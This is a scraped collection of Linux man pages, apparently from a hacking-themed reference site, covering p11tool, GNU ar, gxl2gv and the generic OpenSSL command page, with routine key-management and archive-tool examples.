For several netcat recipes, please see /usr/share/doc/netcat/README.gz and /usr/share/doc/netcat/README.Debian.gz.

AUTHOR

This manual page was written by Joey Hess <[email protected]> and Robert Woodcock <[email protected]>, cribbing heavily from Netcat’s README file.

Netcat was written by a guy we know as the Hobbit <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1883 - Linux cli command p11tool

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command p11tool and provides detailed information about the command p11tool, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the p11tool.

NAME 🖥️ p11tool 🖥️

GnuTLS PKCS #11 tool

SYNOPSIS

p11tool [-flags] [-flag [value]] [–option-name[[=| ]value]] [url]

Operands and options may be intermixed. They will be reordered.

DESCRIPTION

Program that allows operations on PKCS #11 smart cards and security modules.

To use PKCS #11 tokens with GnuTLS the p11-kit configuration files need to be setup. That is create a .module file in /etc/pkcs11/modules with the contents ‘module: /path/to/pkcs11.so’. Alternatively the configuration file /etc/gnutls/pkcs11.conf has to exist and contain a number of lines of the form ’load=/usr/lib/opensc-pkcs11.so’.

You can provide the PIN to be used for the PKCS #11 operations with the environment variables GNUTLS_PIN and GNUTLS_SO_PIN.

OPTIONS

Tokens

List all available tokens.

List the URLs available tokens.

This is a more compact version of –list-tokens.

List all available mechanisms in a token.

Initializes a PKCS #11 token.

Initializes/Resets a PKCS #11 token user PIN.

Initializes/Resets a PKCS #11 token security officer PIN.

This initializes the security officer’s PIN. When used non-interactively use the GNUTLS_NEW_SO_PIN environment variables to initialize SO’s PIN.

Specify the PIN to use on token operations.

Alternatively the GNUTLS_PIN environment variable may be used.

Specify the Security Officer’s PIN to use on token initialization.

Alternatively the GNUTLS_SO_PIN environment variable may be used.

Object listing

List all available objects in a token.

All objects available in the token will be listed. That includes objects which are potentially unaccessible using this tool.

List all available certificates in a token.

That option will also provide more information on the certificates, for example, expand the attached extensions in a trust token (like p11-kit-trust).

List all certificates that have an associated private key.

That option will only display certificates which have a private key associated with them (share the same ID).

List all available private keys in a token.

Lists all the private keys in a token that match the specified URL.

This is an alias for the –list-all-privkeys option.

This is an alias for the –list-all-privkeys option.

List all available certificates marked as trusted.

Export the object specified by the URL. This option must not appear in combination with any of the following options: export-stapled, export-chain, export-pubkey.

Export the certificate object specified by the URL. This option must not appear in combination with any of the following options: export, export-chain, export-pubkey.

Exports the certificate specified by the URL while including any attached extensions to it. Since attached extensions are a p11-kit extension, this option is only available on p11-kit registered trust modules.

Export the certificate specified by the URL and its chain of trust. This option must not appear in combination with any of the following options: export-stapled, export, export-pubkey.

Exports the certificate specified by the URL and generates its chain of trust based on the stored certificates in the module.

Export the public key for a private key. This option must not appear in combination with any of the following options: export-stapled, export, export-chain.

Exports the public key for the specified private key

List information on an available object in a token.

This is an alias for the –mark-trusted option.

This is an alias for the –mark-distrusted option.

Key generation

Generate private-public key pair of given type.

Generates a private-public key pair in the specified token. Acceptable types are RSA, ECDSA, Ed25519, and DSA. Should be combined with –sec-param or –bits.

Generate an RSA private-public key pair.

Generates an RSA private-public key pair on the specified token. Should be combined with –sec-param or –bits.

NOTE: THIS OPTION IS DEPRECATED

Generate a DSA private-public key pair.

Generates a DSA private-public key pair on the specified token. Should be combined with –sec-param or –bits.

NOTE: THIS OPTION IS DEPRECATED

Generate an ECDSA private-public key pair.

Generates an ECDSA private-public key pair on the specified token. Should be combined with –curve, –sec-param or –bits.

NOTE: THIS OPTION IS DEPRECATED

Specify the number of bits for the key generate. This option takes an integer number as its argument.

For applications which have no key-size restrictions the –sec-param option is recommended, as the sec-param levels will adapt to the acceptable security levels with the new versions of gnutls.

Specify the curve used for EC key generation.

Supported values are secp192r1, secp224r1, secp256r1, secp384r1 and secp521r1.

Specify the security level.

This is alternative to the bits option. Available options are [low, legacy, medium, high, ultra].

Writing objects

Set the CKA_ID (in hex) for the specified by the URL object. This option must not appear in combination with any of the following options: write.

Modifies or sets the CKA_ID in the specified by the URL object. The ID should be specified in hexadecimal format without a ‘0x’ prefix.

Set the CKA_LABEL for the specified by the URL object. This option must not appear in combination with any of the following options: write, set-id.

Modifies or sets the CKA_LABEL in the specified by the URL object

Writes the loaded objects to a PKCS #11 token.

It can be used to write private, public keys, certificates or secret keys to a token. Must be combined with one of –load-privkey, –load-pubkey, –load-certificate option.

When writing a certificate object, its CKA_ID is set to the same CKA_ID of the corresponding public key, if it exists on the token; otherwise it will be derived from the X.509 Subject Key Identifier of the certificate. If this behavior is undesired, write the public key to the token beforehand.

Deletes the objects matching the given PKCS #11 URL.

Sets a label for the write operation.

Sets an ID for the write operation.

Sets the CKA_ID to be set by the write operation. The ID should be specified in hexadecimal format without a ‘0x’ prefix.

Marks the generated key to be a wrapping key. The no-mark-wrap form will disable the option.

Marks the generated key with the CKA_WRAP flag.

Marks the object to be written as trusted. This option must not appear in combination with any of the following options: mark-distrusted. The no-mark-trusted form will disable the option.

Marks the object to be generated/written with the CKA_TRUST flag.

When retrieving objects, it requires the objects to be distrusted. This option must not appear in combination with any of the following options: mark-trusted.

Ensures that the objects retrieved have the CKA_X_TRUST flag. This is p11-kit trust module extension, thus this flag is only valid with p11-kit registered trust modules.

Marks the object to be written for decryption. The no-mark-decrypt form will disable the option.

Marks the object to be generated/written with the CKA_DECRYPT flag set to true.

Marks the object to be written for signature generation. The no-mark-sign form will disable the option.

Marks the object to be generated/written with the CKA_SIGN flag set to true.

Marks the object to be written as a CA. The no-mark-ca form will disable the option.

Marks the object to be generated/written with the CKA_CERTIFICATE_CATEGORY as CA.

Marks the object to be written as private. The no-mark-private form will disable the option.

Marks the object to be generated/written with the CKA_PRIVATE flag. The written object will require a PIN to be used.

This is an alias for the –mark-ca option.

This is an alias for the –mark-private option.

Marks the object to be written as always authenticate. The no-mark-always-authenticate form will disable the option.

Marks the object to be generated/written with the CKA_ALWAYS_AUTHENTICATE flag. The written object will Mark the object as requiring authentication (pin entry) before every operation.

Provide a hex encoded secret key.

This secret key will be written to the module if –write is specified.

Private key file to use.

Public key file to use.

Certificate file to use.

Other options

Enable debugging. This option takes an integer number as its argument. The value of num is constrained to being:

in the range 0 through 9999

Specifies the debug level.

Output file.

Force (user) login to token. The no-login form will disable the option.

Force security officer login to token. The no-so-login form will disable the option.

Forces login to the token as security officer (admin).

This is an alias for the –so-login option.

Tests the signature operation of the provided object.

It can be used to test the correct operation of the signature operation. If both a private and a public key are available this operation will sign and verify the signed data.

Sign with a specific signature algorithm.

This option can be combined with –test-sign, to sign with a specific signature algorithm variant. The only option supported is ‘RSA-PSS’, and should be specified in order to use RSA-PSS signature on RSA keys.

Hash algorithm to use for signing.

This option can be combined with test-sign. Available hash functions are SHA1, RMD160, SHA256, SHA384, SHA512, SHA3-224, SHA3-256, SHA3-384, SHA3-512.

Generate random data. This option takes an integer number as its argument.

Asks the token to generate a number of bytes of random bytes.

Use PKCS #8 format for private keys.

Use DER/RAW format for input. The no-inder form will disable the option.

Use DER/RAW format for input certificates and private keys.

This is an alias for the –inder option.

Use DER format for output certificates, private keys, and DH parameters. The no-outder form will disable the option.

The output will be in DER or RAW format.

This is an alias for the –outder option.

Specify the PKCS #11 provider library.

This will override the default options in /etc/gnutls/pkcs11.conf

Specify parameters for the PKCS #11 provider library.

This is a PKCS#11 internal option used by few modules. Mainly for testing PKCS#11 modules.

NOTE: THIS OPTION IS DEPRECATED

Print detailed URLs. The no-detailed-url form will disable the option.

Print a compact listing using only the URLs.

Disable all interaction with the tool.

In batch mode there will be no prompts, all parameters need to be specified on command line.

Output version of program and exit. The default mode is `v’, a simple version. The `c’ mode will print copyright information and `n’ will print the full copyright notice.

Display usage information and exit.

Pass the extended usage information through a pager.

EXAMPLES

To view all tokens in your system use:

$ p11tool --list-tokens

To view all objects in a token use:

$ p11tool --login --list-all "pkcs11:TOKEN-URL"

To store a private key and a certificate in a token run:

$ p11tool --login --write "pkcs11:URL" --load-privkey key.pem           --label "Mykey"
$ p11tool --login --write "pkcs11:URL" --load-certificate cert.pem           --label "Mykey"

Note that some tokens require the same label to be used for the certificate and its corresponding private key.

To generate an RSA private key inside the token use:

$ p11tool --login --generate-privkey rsa --bits 1024 --label "MyNewKey"           --outfile MyNewKey.pub "pkcs11:TOKEN-URL"

The bits parameter in the above example is explicitly set because some tokens only support limited choices in the bit length. The output file is the corresponding public key. This key can be used to general a certificate request with certtool.

certtool --generate-request --load-privkey "pkcs11:KEY-URL"    --load-pubkey MyNewKey.pub --outfile request.pem

EXIT STATUS

One of the following exit values will be returned:

Successful program execution.

The operation failed or the command syntax was not valid.

SEE ALSO

certtool (1)

AUTHORS

COPYRIGHT

Copyright (C) 2020-2023 Free Software Foundation, and others all rights reserved. This program is released under the terms of the GNU General Public License, version 3 or later

BUGS

Please send bug reports to: [email protected]

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1884 - Linux cli command pkcs8ssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pkcs8ssl and provides detailed information about the command pkcs8ssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pkcs8ssl.

NAME 🖥️ pkcs8ssl 🖥️

OpenSSL application commands

SYNOPSIS

openssl cmd -help | [-option | -option arg] … [arg] …

DESCRIPTION

Every cmd listed above is a (sub-)command of the openssl (1) application. It has its own detailed manual page at **openssl-**cmd(1). For example, to view the manual page for the openssl dgst command, type man openssl-dgst.

OPTIONS

Among others, every subcommand has a help option.

-help
Print out a usage message for the subcommand.

SEE ALSO

openssl (1), openssl-asn1parse (1), openssl-ca (1), openssl-ciphers (1), openssl-cmp (1), openssl-cms (1), openssl-crl (1), openssl-crl2pkcs7 (1), openssl-dgst (1), openssl-dhparam (1), openssl-dsa (1), openssl-dsaparam (1), openssl-ec (1), openssl-ecparam (1), openssl-enc (1), openssl-engine (1), openssl-errstr (1), openssl-gendsa (1), openssl-genpkey (1), openssl-genrsa (1), openssl-info (1), openssl-kdf (1), openssl-mac (1), openssl-nseq (1), openssl-ocsp (1), openssl-passwd (1), openssl-pkcs12 (1), openssl-pkcs7 (1), openssl-pkcs8 (1), openssl-pkey (1), openssl-pkeyparam (1), openssl-pkeyutl (1), openssl-prime (1), openssl-rand (1), openssl-rehash (1), openssl-req (1), openssl-rsa (1), openssl-rsautl (1), openssl-s_client (1), openssl-s_server (1), openssl-s_time (1), openssl-sess_id (1), openssl-smime (1), openssl-speed (1), openssl-spkac (1), openssl-srp (1), openssl-storeutl (1), openssl-ts (1), openssl-verify (1), openssl-version (1), openssl-x509 (1),

HISTORY

Initially, the manual page entry for the openssl cmd command used to be available at cmd(1). Later, the alias **openssl-**cmd(1) was introduced, which made it easier to group the openssl commands using the apropos (1) command or the shell’s tab completion.

In order to reduce cluttering of the global manual page namespace, the manual page entries without the ‘openssl-’ prefix have been deprecated in OpenSSL 3.0 and will be removed in OpenSSL 4.0.

COPYRIGHT

Copyright 2019-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1885 - Linux cli command x86_64-w64-mingw32-ar

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-w64-mingw32-ar and provides detailed information about the command x86_64-w64-mingw32-ar, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-w64-mingw32-ar.

NAME 🖥️ x86_64-w64-mingw32-ar 🖥️

create, modify, and extract from archives

SYNOPSIS

ar [-X32_64] [-]p[mod] [–plugin name] [–target bfdname] [–output dirname] [–record-libdeps libdeps] [–thin] [relpos] [count] archive [member…]

DESCRIPTION

The GNU ar program creates, modifies, and extracts from archives. An archive is a single file holding a collection of other files in a structure that makes it possible to retrieve the original individual files (called members of the archive).

The original files’ contents, mode (permissions), timestamp, owner, and group are preserved in the archive, and can be restored on extraction.

GNU ar can maintain archives whose members have names of any length; however, depending on how ar is configured on your system, a limit on member-name length may be imposed for compatibility with archive formats maintained with other tools. If it exists, the limit is often 15 characters (typical of formats related to a.out) or 16 characters (typical of formats related to coff).

ar is considered a binary utility because archives of this sort are most often used as libraries holding commonly needed subroutines. Since libraries often will depend on other libraries, ar can also record the dependencies of a library when the –record-libdeps option is specified.

ar creates an index to the symbols defined in relocatable object modules in the archive when you specify the modifier s. Once created, this index is updated in the archive whenever ar makes a change to its contents (save for the q update operation). An archive with such an index speeds up linking to the library, and allows routines in the library to call each other without regard to their placement in the archive.

You may use nm -s or nm –print-armap to list this index table. If an archive lacks the table, another form of ar called ranlib can be used to add just the table.

GNU ar can optionally create a thin archive, which contains a symbol index and references to the original copies of the member files of the archive. This is useful for building libraries for use within a local build tree, where the relocatable objects are expected to remain available, and copying the contents of each object would only waste time and space.

An archive can either be thin or it can be normal. It cannot be both at the same time. Once an archive is created its format cannot be changed without first deleting it and then creating a new archive in its place.

Thin archives are also flattened, so that adding one thin archive to another thin archive does not nest it, as would happen with a normal archive. Instead the elements of the first archive are added individually to the second archive.

The paths to the elements of the archive are stored relative to the archive itself.

GNU ar is designed to be compatible with two different facilities. You can control its activity using command-line options, like the different varieties of ar on Unix systems; or, if you specify the single command-line option -M, you can control it with a script supplied via standard input, like the MRI “librarian” program.

OPTIONS

GNU ar allows you to mix the operation code p and modifier flags mod in any order, within the first command-line argument.

If you wish, you may begin the first command-line argument with a dash.

The p keyletter specifies what operation to execute; it may be any of the following, but you must specify only one of them:

  1. Delete modules from the archive. Specify the names of modules to be deleted as member…; the archive is untouched if you specify no files to delete. If you specify the v modifier, ar lists each module as it is deleted.

  2. Use this operation to move members in an archive. The ordering of members in an archive can make a difference in how programs are linked using the library, if a symbol is defined in more than one member. If no modifiers are used with m, any members you name in the member arguments are moved to the end of the archive; you can use the a, b, or i modifiers to move them to a specified place instead.

  3. Print the specified members of the archive, to the standard output file. If the v modifier is specified, show the member name before copying its contents to standard output. If you specify no member arguments, all the files in the archive are printed.

  4. Quick append; Historically, add the files member… to the end of archive, without checking for replacement. The modifiers a, b, and i do not affect this operation; new members are always placed at the end of the archive. The modifier v makes ar list each file as it is appended. Since the point of this operation is speed, implementations of ar have the option of not updating the archive’s symbol table if one exists. Too many different systems however assume that symbol tables are always up-to-date, so GNU ar will rebuild the table even with a quick append. Note - GNU ar treats the command qs as a synonym for r - replacing already existing files in the archive and appending new ones at the end.

  5. Insert the files member… into archive (with replacement). This operation differs from q in that any previously existing members are deleted if their names match those being added. If one of the files named in member… does not exist, ar displays an error message, and leaves undisturbed any existing members of the archive matching that name. By default, new members are added at the end of the file; but you may use one of the modifiers a, b, or i to request placement relative to some existing member. The modifier v used with this operation elicits a line of output for each file inserted, along with one of the letters a or r to indicate whether the file was appended (no old member deleted) or replaced.

  6. Add an index to the archive, or update it if it already exists. Note this command is an exception to the rule that there can only be one command letter, as it is possible to use it as either a command or a modifier. In either case it does the same thing.

  7. Display a table listing the contents of archive, or those of the files listed in member… that are present in the archive. Normally only the member name is shown, but if the modifier O is specified, then the corresponding offset of the member is also displayed. Finally, in order to see the modes (permissions), timestamp, owner, group, and size the v modifier should be included. If you do not specify a member, all files in the archive are listed. If there is more than one file with the same name (say, fie) in an archive (say b.a), ar t b.a fie lists only the first instance; to see them all, you must ask for a complete listing—in our example, ar t b.a.

  8. Extract members (named member) from the archive. You can use the v modifier with this operation, to request that ar list each name as it extracts it. If you do not specify a member, all files in the archive are extracted. Files cannot be extracted from a thin archive, and there are restrictions on extracting from archives created with P: The paths must not be absolute, may not contain .., and any subdirectories in the paths must exist. If it is desired to avoid these restrictions then used the –output option to specify an output directory.

A number of modifiers (mod) may immediately follow the p keyletter, to specify variations on an operation’s behavior:

  1. Add new files after an existing member of the archive. If you use the modifier a, the name of an existing archive member must be present as the relpos argument, before the archive specification.

  2. Add new files before an existing member of the archive. If you use the modifier b, the name of an existing archive member must be present as the relpos argument, before the archive specification. (same as i).

  3. Create the archive. The specified archive is always created if it did not exist, when you request an update. But a warning is issued unless you specify in advance that you expect to create it, by using this modifier.

  1. Operate in deterministic mode. When adding files and the archive index use zero for UIDs, GIDs, timestamps, and use consistent file modes for all files. When this option is used, if ar is used with identical options and identical input files, multiple runs will create identical output files regardless of the input files’ owners, groups, file modes, or modification times. If binutils was configured with –enable-deterministic-archives, then this mode is on by default. It can be disabled with the U modifier, below.
  1. Truncate names in the archive. GNU ar will normally permit file names of any length. This will cause it to create archives which are not compatible with the native ar program on some systems. If this is a concern, the f modifier may be used to truncate file names when putting them in the archive.
  1. Insert new files before an existing member of the archive. If you use the modifier i, the name of an existing archive member must be present as the relpos argument, before the archive specification. (same as b).
  1. Specify dependencies of this library. The dependencies must immediately follow this option character, must use the same syntax as the linker command line, and must be specified within a single argument. I.e., if multiple items are needed, they must be quoted to form a single command line argument. For example l “-L/usr/local/lib -lmydep1 -lmydep2”
  1. Uses the count parameter. This is used if there are multiple entries in the archive with the same name. Extract or delete instance count of the given name from the archive.
  1. Preserve the original dates of members when extracting them. If you do not specify this modifier, files extracted from the archive are stamped with the time of extraction.
  1. Display member offsets inside the archive. Use together with the t option.

  2. Use the full path name when matching or storing names in the archive. Archives created with full path names are not POSIX compliant, and thus may not work with tools other than up to date GNU tools. Modifying such archives with GNU ar without using P will remove the full path names unless the archive is a thin archive. Note that P may be useful when adding files to a thin archive since r without P ignores the path when choosing which element to replace. Thus ar rcST archive.a subdir/file1 subdir/file2 file1 will result in the first subdir/file1 being replaced with file1 from the current directory. Adding P will prevent this replacement.

  1. Write an object-file index into the archive, or update an existing one, even if no other change is made to the archive. You may use this modifier flag either with any operation, or alone. Running ar s on an archive is equivalent to running ranlib on it.
  1. Do not generate an archive symbol table. This can speed up building a large library in several steps. The resulting archive can not be used with the linker. In order to build a symbol table, you must omit the S modifier on the last execution of ar, or you must run ranlib on the archive.

  2. Deprecated alias for –thin. T is not recommended because in many ar implementations T has a different meaning, as specified by X/Open System Interface.

  1. Normally, ar r… inserts all files listed into the archive. If you would like to insert only those of the files you list that are newer than existing members of the same names, use this modifier. The u modifier is allowed only for the operation r (replace). In particular, the combination qu is not allowed, since checking the timestamps would lose any speed advantage from the operation q. Note - if an archive has been created in a deterministic manner, eg via the use of the D modifier, then replacement will always happen and the u modifier will be ineffective.
  1. Do not operate in deterministic mode. This is the inverse of the D modifier, above: added files and the archive index will get their actual UID, GID, timestamp, and file mode values. This is the default unless binutils was configured with –enable-deterministic-archives.
  1. This modifier requests the verbose version of an operation. Many operations display additional information, such as filenames processed, when the modifier v is appended.
  1. This modifier shows the version number of ar.

The ar program also supports some command-line options which are neither modifiers nor actions, but which do change its behaviour in specific ways:

–help
Displays the list of command-line options supported by ar and then exits.

–version
Displays the version information of ar and then exits.

-X32_64
ar ignores an initial option spelled -X32_64, for compatibility with AIX. The behaviour produced by this option is the default for GNU ar. ar does not support any of the other -X options; in particular, it does not support -X32 which is the default for AIX ar.

–plugin name
The optional command-line switch –plugin name causes ar to load the plugin called name which adds support for more file formats, including object files with link-time optimization information. This option is only available if the toolchain has been built with plugin support enabled. If –plugin is not provided, but plugin support has been enabled then ar iterates over the files in ${libdir}/bfd-plugins in alphabetic order and the first plugin that claims the object in question is used. Please note that this plugin search directory is not the one used by ld’s -plugin option. In order to make ar use the linker plugin it must be copied into the ${libdir}/bfd-plugins directory. For GCC based compilations the linker plugin is called liblto_plugin.so.0.0.0. For Clang based compilations it is called LLVMgold.so. The GCC plugin is always backwards compatible with earlier versions, so it is sufficient to just copy the newest one.

–target target
The optional command-line switch –target bfdname specifies that the archive members are in an object code format different from your system’s default format. See

–output dirname
The –output option can be used to specify a path to a directory into which archive members should be extracted. If this option is not specified then the current directory will be used. Note - although the presence of this option does imply a x extraction operation that option must still be included on the command line.

–record-libdeps libdeps
The –record-libdeps option is identical to the l modifier, just handled in long form.

–thin
Make the specified archive a thin archive. If it already exists and is a regular archive, the existing members must be present in the same directory as archive.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

nm (1), ranlib (1), and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1886 - Linux cli command gxl2gv

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command gxl2gv and provides detailed information about the command gxl2gv, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the gxl2gv.

NAME 🖥️ gxl2gv 🖥️

GXL-GV converters

SYNOPSIS

gxl2gv [ -gd? ] [ -ooutfile ] [ files ]
gv2gxl [ -gd? ] [ -ooutfile ] [ files ]

DESCRIPTION

gxl2gv converts between graphs represented in GXL and in the GV language. Unless a conversion type is specified using a flag, gxl2gv will deduce the type of conversion from the suffix of the input file, a “.gv” suffix causing a conversion from GV to GXL, and a “.gxl” suffix causing a conversion from GXL to GV. If no suffix is available, e.g. when the input is from a pipe, and no flags are used then gxl2gv assumes the type of the input file from its executable name so that gxl2gv converts from GXL to GV, and gv2gxl converts from GV to GXL.

GXL supports a much richer graph model than GV. gxl2gv will attempt to map GXL constructs into the analogous GV construct when this is possible. If not, the GXL information is stored as an attribute. The intention is that applying gxl2gv|gv2gxl is semantically equivalent to the identity operator.

OPTIONS

The following options are supported:

-g
The command name and input file extensions are ignored, the input is taken as a GV file and a GXL file is generated.

-d
The command name and input file extensions are ignored, the input is taken as a GXL file and a GV file is generated.

-?
Prints usage information and exits.

-o* outfile*
If specified, the output will be written into the file outfile. Otherwise, output is written to standard out.

OPERANDS

The following operand is supported:

files
Names of files containing 1 or more graphs in GXL or GV. If no files operand is specified, the standard input will be used.

RETURN CODES

Both gxl2gv and gv2gxl return 0 if there were no problems during conversion; and non-zero if any error occurred.

BUGS

gxl2gv will only convert in one direction even if given multiple files with varying suffixes.

The conversion can only handle one graph per GXL file.

There are some GXL constructs which gxl2gv cannot handle.

AUTHORS

Krishnam Pericherla <[email protected]>
Emden R. Gansner <[email protected]>

SEE ALSO

dot(1), libgraph(3), libagraph(3), neato(1), twopi(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1887 - Linux cli command infossl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command infossl and provides detailed information about the command infossl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the infossl.

NAME 🖥️ infossl 🖥️

OpenSSL application commands

SYNOPSIS

openssl cmd -help | [-option | -option arg] … [arg] …

DESCRIPTION

Every cmd listed above is a (sub-)command of the openssl (1) application. It has its own detailed manual page at **openssl-**cmd(1). For example, to view the manual page for the openssl dgst command, type man openssl-dgst.

OPTIONS

Among others, every subcommand has a help option.

-help
Print out a usage message for the subcommand.

SEE ALSO

openssl (1), openssl-asn1parse (1), openssl-ca (1), openssl-ciphers (1), openssl-cmp (1), openssl-cms (1), openssl-crl (1), openssl-crl2pkcs7 (1), openssl-dgst (1), openssl-dhparam (1), openssl-dsa (1), openssl-dsaparam (1), openssl-ec (1), openssl-ecparam (1), openssl-enc (1), openssl-engine (1), openssl-errstr (1), openssl-gendsa (1), openssl-genpkey (1), openssl-genrsa (1), openssl-info (1), openssl-kdf (1), openssl-mac (1), openssl-nseq (1), openssl-ocsp (1), openssl-passwd (1), openssl-pkcs12 (1), openssl-pkcs7 (1), openssl-pkcs8 (1), openssl-pkey (1), openssl-pkeyparam (1), openssl-pkeyutl (1), openssl-prime (1), openssl-rand (1), openssl-rehash (1), openssl-req (1), openssl-rsa (1), openssl-rsautl (1), openssl-s_client (1), openssl-s_server (1), openssl-s_time (1), openssl-sess_id (1), openssl-smime (1), openssl-speed (1), openssl-spkac (1), openssl-srp (1), openssl-storeutl (1), openssl-ts (1), openssl-verify (1), openssl-version (1), openssl-x509 (1),

HISTORY

Initially, the manual page entry for the openssl cmd command used to be available at cmd(1). Later, the alias **openssl-**cmd(1) was introduced, which made it easier to group the openssl commands using the apropos (1) command or the shell’s tab completion.

